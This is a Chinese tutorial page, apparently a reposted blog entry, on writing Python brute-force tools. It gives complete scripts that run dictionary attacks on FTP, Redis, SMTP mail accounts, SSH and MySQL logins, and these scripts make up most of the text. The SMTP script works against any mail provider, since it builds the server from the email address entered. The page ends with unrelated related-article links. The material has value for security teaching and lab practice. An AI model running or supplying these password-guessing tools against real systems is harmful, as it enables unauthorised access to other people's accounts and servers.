当前位置: 首页 > article >正文

第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等

案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议

开一个ftp

利用ftp正确登录与失败登录都会有不同的回显

使用ftplib库进行测试

from ftplib import FTP  
# FTP服务器地址  
ftp_server = '192.168.172.132'  
# FTP服务器端口(默认为21)  
ftp_port = 21
# FTP登录用户名  
ftp_user = 'root'  
# FTP登录密码  
ftp_pass = '123.comm'
ftp = FTP()
ftp.connect(ftp_server,ftp_port)
ftp.login(ftp_user,ftp_pass)

成功

失败

在此基础之上加上字典进行循环就能爆破出来密码

爆破ftp账号密码的程序

from ftplib import FTP
def ftp_check(ip,port,username,password):
    ftp = FTP()
    ftp.connect(ip,port)
    try:
        ftp.login(username,password)
        print(username+"|"+password+"-->success")
        exit()
    except Exception as e:
        print(username+"|"+password+"-->failed")

if __name__ == '__main__':
    ip = input("please input ip:")
    port = int(input("please input port:"))
    with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  
        names = file.readlines()  
        for name in names:
            name = name.replace("\n","")
            with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  
                passwords = file.readlines()  
                for password in passwords:
                    password = password.replace("\n","")
                    ftp_check(ip,port,name,password)

运行结果

如果觉得输出太过繁琐,可以不输出失败的结果 

案例二: Python-数据库爆破-redis 库操作redis 协议

开启redis:端口为6379

配置密码

尝试连接,redis没有账号这一说法,都是用密码连接就ok

连接成功之后可以设置变量,可以利用这一点如果没有连接的话会报错

因为普通连接就算连接不成功他也不会报错

爆破程序

import redis
def redis_check(ip,password):
    try:
        conn=redis.Redis(host=ip, port=6379, password=password, db=0)
        conn.set("test","123")
        print(password+"-->success")
        conn.delete("test")
        exit()
    except Exception as e:
        print(password+"-->failed")

if __name__ == "__main__":
    ip = input("please input ip:")
    with open(".\\conf\\dic_password_redis.txt","r") as file:
        passwords = file.readlines()
        for password in passwords:
            password = password.replace("\n","")
            redis_check(ip,password)

运行结果

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议

smtp调用库smtplib,smtp邮件可以利用授权码代替密码进行登录

需要根据后缀来进行判断是什么邮箱

代码,登录失败会报错

import smtplib

def email_check(email,password):
    smtp_split = email.split("@")[1]
    smtp_server = 'smtp.'+smtp_split
    #print(smtp_server)
    smtp_port = 25
    try:
        smtp_conn = smtplib.SMTP()
        smtp_conn.connect(smtp_server, 25)  # 25 为 SMTP 端口号
        smtp_conn.login(email, password)
        print("password is "+password+' --> ok')
        exit()
    except Exception as e:
        pass
        #print("error")
    

if __name__ == "__main__":
    email = input("please input your eamil:")
    with open(".\\conf\\dic_password_email.txt","r") as file:
        passwords = file.readlines()
        for password in passwords:
            password = password.replace("\n","")
            email_check(email,password)

运行结果

案例四:Python-登录爆破-paramiko库操作ssh协议

ssh连接调用paramiko库

import paramiko
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到远程主机
client.connect('远程主机IP',"port" username='用户名', password='密码')

连接成功不会报错

失败报错

代码,端口为连接的第二个参数,默认为22

import paramiko,time

def ssh_check(ip,username,password):
    print(username + "  |  "+password +"")
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(ip,username=username, password=password)
        print(username + "  |  "+password +"--> success")
        exit()
    except Exception as e:
        pass
        time.sleep(1)

if __name__ == '__main__':
    ip = input("please input ip:")
    with open('.\\conf\\dic_username_ssh.txt', 'r') as file:  
        names = file.readlines()  
        for name in names:
            name = name.replace("\n","")
            with open('.\\conf\\dic_password_ssh.txt', 'r') as file:  
                passwords = file.readlines()  
                for password in passwords:
                    password = password.replace("\n","")
                    ssh_check(ip,name,password)

运行结果

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议

 创建一个允许远程登陆的用户jie 123.com

CREATE USER 'jie'@'%' IDENTIFIED BY '123.com';
GRANT ALL PRIVILEGES ON *.* TO 'jie'@'%';
FLUSH PRIVILEGES;

能够成功连接

 建立mysql连接

import mysql.connector
# pip install mysql-connector-python 安装这个库
# 创建数据库连接
db = mysql.connector.connect(
    host="192.168.172.132",  # MySQL服务器地址
    port=3306,
    user="jie",   # 用户名
    password="123.comm",  # 密码
    database="mysql"  # 数据库名称
)

安装相关库

错误连接会报错

在此基础之上写爆破mysql

import mysql.connector

def mysql_check(ip,port,username,password):
    try:
        db = mysql.connector.connect(
            host=ip,  # MySQL服务器地址
            port=port,
            user=username,   # 用户名
            password=password,  # 密码
            database="mysql"  # 数据库名称
        )
        print(username + " | " +password + "-->  success")
        exit()
    except Exception as e:
        pass
if __name__ == '__main__':
    ip = input("please input ip:")
    port = int(input("please input port:"))
    with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  
        names = file.readlines()  
        for name in names:
            name = name.replace("\n","")
            with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  
                passwords = file.readlines()  
                for password in passwords:
                    password = password.replace("\n","")
                    mysql_check(ip,port,name,password)

运行结果

如果再命令行以 python  xx.py 123456这种后面带参数的方式输入需要引入sys库,利用sys.argv[1]

可以把变量设置在文件后面,如下图所示


http://www.kler.cn/a/308568.html

相关文章:

  • 如何保护 Microsoft 网络免受中间人攻击
  • C++ 编程基础(6)作用域 | 6.3、类作用域
  • SpringMVC学习笔记(二)
  • RabbitMQ高效的消息队列中间件原理及实践
  • HTTP 客户端怎么向 Spring Cloud Sleuth 传输跟踪 ID
  • 【算法一周目】双指针(2)
  • 持续集成与持续交付CI/CD
  • TDengine 首席架构师肖波演讲整理:探索新型电力系统的五大关键场景与挑战
  • CentOS7下安装Ruby3.2.4的实施路径
  • LeetCode_sql_day26(184,1549,1532,1831)
  • ubuntu系统服务器离线安装python包
  • 力扣(leetcode)每日一题 2848 与车相交的点
  • 7天速成前端 ------学习日志 (继苍穹外卖之后)
  • Spire.PDF for .NET【页面设置】演示:为 PDF 添加背景颜色或背景图像
  • python压缩图片的代码
  • 《锐捷AP 胖模式配置示例》
  • UiBot教程:实现复杂流程图的高效方法
  • C++学习笔记(21)
  • solidity-21-call_contract
  • 华为SMU02B1智能通信电源监控单元模块简介
  • 基于SpringBoot+Vue的养老院管理系统
  • 在Ubuntu中编译含有JSON的文件出现报错
  • 【前后端】大文件切片上传
  • 网络安全学习(一)初识kali
  • 【JavaEE初阶】多线程(5 单例模式 \ 阻塞队列)
  • 构建基于 Feign 的微服务:从 Eureka 到负载均衡的实践 --day05